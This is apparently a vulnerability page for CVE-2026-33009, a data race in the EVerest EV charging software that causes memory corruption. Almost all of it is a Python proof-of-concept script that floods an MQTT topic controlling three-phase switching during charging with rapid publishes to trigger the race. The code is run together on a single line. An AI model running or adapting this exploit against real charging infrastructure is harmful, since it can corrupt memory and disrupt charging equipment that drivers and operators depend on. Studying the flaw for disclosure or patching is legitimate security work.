CVE-2026-33009 EVerest充电软件数据竞争致内存损坏漏洞

import paho.mqtt.client as mqtt import time # PoC for CVE-2026-33009 # This script attempts to trigger the race condition in EVerest by sending # multiple concurrent MQTT messages to the vulnerable topic. TARGET_BROKER = "mqtt.everest.example.com" # Replace with target IP TARGET_PORT = 1883 CONNECTOR_ID = "1" # Replace with actual connector ID TOPIC = f"everest_external/nodered/{CONNECTOR_ID}/cmd/switch_three_phases_while_charging" PAYLOAD = "true" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") client = mqtt.Client() client.on_connect = on_connect try: client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_start() # Send messages rapidly to attempt to trigger the race condition print("Starting PoC...") for i in range(20): client.publish(TOPIC, PAYLOAD) # Minimal delay to encourage concurrent access in the handler time.sleep(0.005) client.loop_stop() print("PoC execution finished.") except Exception as e: print(f"An error occurred: {e}")